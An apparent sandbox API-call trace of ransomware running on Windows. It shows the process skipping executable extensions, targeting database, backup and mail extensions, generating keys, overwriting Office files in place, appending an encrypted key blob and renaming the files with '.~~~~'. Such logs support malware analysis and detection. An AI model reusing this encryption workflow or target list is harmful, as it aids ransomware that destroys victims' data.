	[0142.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa128 | out: hHeap=0x300000) returned 1
	[0142.789] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.789] GetLastError () returned 0x0
	[0142.789] GetLastError () returned 0x0
	[0142.789] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.789] GetLastError () returned 0x0
	[0142.790] GetLastError () returned 0x0
	[0142.790] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x5a34, lpOverlapped=0x0) returned 1
	[0142.792] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffa5cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.792] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x5a34, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x5a34, lpOverlapped=0x0) returned 1
	[0142.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.792] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.792] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.793] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.793] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.793] CloseHandle (hObject=0x104) returned 1
	[0142.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa1d0
	[0142.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif.~~~~")) returned 1
	[0142.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa1d0 | out: hHeap=0x300000) returned 1
	[0142.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.796] GetLastError () returned 0x0
	[0142.796] RtlWakeConditionVariable () returned 0x0
	[0142.796] GetCurrentThreadId () returned 0x9cc
	[0142.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".scr") returned 0x0
	[0142.796] lstrlenW (lpString=".cmd") returned 4
	[0142.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".cmd") returned 0x0
	[0142.796] lstrlenW (lpString=".dll") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dll") returned 0x0
	[0142.797] lstrlenW (lpString=".bat") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".bat") returned 0x0
	[0142.797] lstrlenW (lpString=".cpl") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".cpl") returned 0x0
	[0142.797] lstrlenW (lpString=".sys") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".sys") returned 0x0
	[0142.797] lstrlenW (lpString=".msc") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".msc") returned 0x0
	[0142.797] lstrlenW (lpString=".com") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".com") returned 0x0
	[0142.797] lstrlenW (lpString=".lnk") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".lnk") returned 0x0
	[0142.797] lstrlenW (lpString=".msp") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".msp") returned 0x0
	[0142.797] lstrlenW (lpString=".pif") returned 4
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".pif") returned 0x0
	[0142.797] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.799] lstrlenW (lpString=".sqb") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".sqb") returned 0x0
	[0142.800] lstrlenW (lpString=".ost") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".ost") returned 0x0
	[0142.800] lstrlenW (lpString=".txt") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".txt") returned 0x0
	[0142.800] lstrlenW (lpString=".mdt") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".mdt") returned 0x0
	[0142.800] lstrlenW (lpString=".BDB") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".BDB") returned 0x0
	[0142.800] lstrlenW (lpString=".eql") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".eql") returned 0x0
	[0142.800] lstrlenW (lpString=".DBF") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DBF") returned 0x0
	[0142.800] lstrlenW (lpString=".EQL") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".EQL") returned 0x0
	[0142.800] lstrlenW (lpString=".FDB") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".FDB") returned 0x0
	[0142.800] lstrlenW (lpString=".EDB") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".EDB") returned 0x0
	[0142.800] lstrlenW (lpString=".DACPAC") returned 7
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.800] lstrlenW (lpString=".VHD") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".VHD") returned 0x0
	[0142.800] lstrlenW (lpString=".DBV") returned 4
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DBV") returned 0x0
	[0142.800] lstrlenW (lpString=".dacpac") returned 7
	[0142.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.800] lstrlenW (lpString=".sdf") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".sdf") returned 0x0
	[0142.801] lstrlenW (lpString=".accdb") returned 6
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".accdb") returned 0x0
	[0142.801] lstrlenW (lpString=".DBX") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DBX") returned 0x0
	[0142.801] lstrlenW (lpString=".MDT") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".MDT") returned 0x0
	[0142.801] lstrlenW (lpString=".SQB") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".SQB") returned 0x0
	[0142.801] lstrlenW (lpString=".vhd") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".vhd") returned 0x0
	[0142.801] lstrlenW (lpString=".bac") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".bac") returned 0x0
	[0142.801] lstrlenW (lpString=".mdf") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".mdf") returned 0x0
	[0142.801] lstrlenW (lpString=".BAK") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".BAK") returned 0x0
	[0142.801] lstrlenW (lpString=".BAC") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".BAC") returned 0x0
	[0142.801] lstrlenW (lpString=".dbs") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dbs") returned 0x0
	[0142.801] lstrlenW (lpString=".vhdx") returned 5
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.801] lstrlenW (lpString=".NDF") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".NDF") returned 0x0
	[0142.801] lstrlenW (lpString=".dat") returned 4
	[0142.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dat") returned 0x0
	[0142.802] lstrlenW (lpString=".DBS") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DBS") returned 0x0
	[0142.802] lstrlenW (lpString=".CKP") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".CKP") returned 0x0
	[0142.802] lstrlenW (lpString=".edb") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".edb") returned 0x0
	[0142.802] lstrlenW (lpString=".PST") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".PST") returned 0x0
	[0142.802] lstrlenW (lpString=".dbf") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dbf") returned 0x0
	[0142.802] lstrlenW (lpString=".SQL") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".SQL") returned 0x0
	[0142.802] lstrlenW (lpString=".pst") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".pst") returned 0x0
	[0142.802] lstrlenW (lpString=".dbv") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dbv") returned 0x0
	[0142.802] lstrlenW (lpString=".SDF") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".SDF") returned 0x0
	[0142.802] lstrlenW (lpString=".dtxs") returned 5
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.802] lstrlenW (lpString=".db3") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".db3") returned 0x0
	[0142.802] lstrlenW (lpString=".OST") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".OST") returned 0x0
	[0142.802] lstrlenW (lpString=".dbx") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dbx") returned 0x0
	[0142.802] lstrlenW (lpString=".DB3") returned 4
	[0142.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DB3") returned 0x0
	[0142.803] lstrlenW (lpString=".DAT") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DAT") returned 0x0
	[0142.803] lstrlenW (lpString=".VHDX") returned 5
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.803] lstrlenW (lpString=".ndf") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".ndf") returned 0x0
	[0142.803] lstrlenW (lpString=".DB") returned 3
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DB") returned 0x0
	[0142.803] lstrlenW (lpString=".sql") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".sql") returned 0x0
	[0142.803] lstrlenW (lpString=".MYD") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".MYD") returned 0x0
	[0142.803] lstrlenW (lpString=".DBT") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DBT") returned 0x0
	[0142.803] lstrlenW (lpString=".ACCDB") returned 6
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.803] lstrlenW (lpString=".fdb") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".fdb") returned 0x0
	[0142.803] lstrlenW (lpString=".bak") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".bak") returned 0x0
	[0142.803] lstrlenW (lpString=".myd") returned 4
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".myd") returned 0x0
	[0142.803] lstrlenW (lpString=".DTXS") returned 5
	[0142.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.803] lstrlenW (lpString=".ckp") returned 4
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".ckp") returned 0x0
	[0142.804] lstrlenW (lpString=".dbt") returned 4
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".dbt") returned 0x0
	[0142.804] lstrlenW (lpString=".db") returned 3
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".db") returned 0x0
	[0142.804] lstrlenW (lpString=".TXT") returned 4
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".TXT") returned 0x0
	[0142.804] lstrlenW (lpString=".MDF") returned 4
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".MDF") returned 0x0
	[0142.804] lstrlenW (lpString=".bdb") returned 4
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".bdb") returned 0x0
	[0142.804] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.804] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.805] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.806] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26279595584) returned 1
	[0142.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe85c5b0, dwHighDateTime=0x1d60e1e)) 
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe788
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe788 | out: hHeap=0x300000) returned 1
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa5c0
	[0142.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa5c0 | out: hHeap=0x300000) returned 1
	[0142.807] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.807] GetLastError () returned 0x0
	[0142.807] GetLastError () returned 0x0
	[0142.807] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.807] GetLastError () returned 0x0
	[0142.807] GetLastError () returned 0x0
	[0142.808] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xa9f0, lpOverlapped=0x0) returned 1
	[0142.906] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff5610, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.923] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xa9f0, lpOverlapped=0x0) returned 1
	[0142.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.923] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.923] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.923] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.923] CloseHandle (hObject=0x104) returned 1
	[0142.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa9b0
	[0142.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif.~~~~")) returned 1
	[0142.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa9b0 | out: hHeap=0x300000) returned 1
	[0142.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.926] GetLastError () returned 0x0
	[0142.926] RtlWakeConditionVariable () returned 0x0
	[0142.926] GetCurrentThreadId () returned 0x9cc
	[0142.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".scr") returned 0x0
	[0142.926] lstrlenW (lpString=".cmd") returned 4
	[0142.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".cmd") returned 0x0
	[0142.926] lstrlenW (lpString=".dll") returned 4
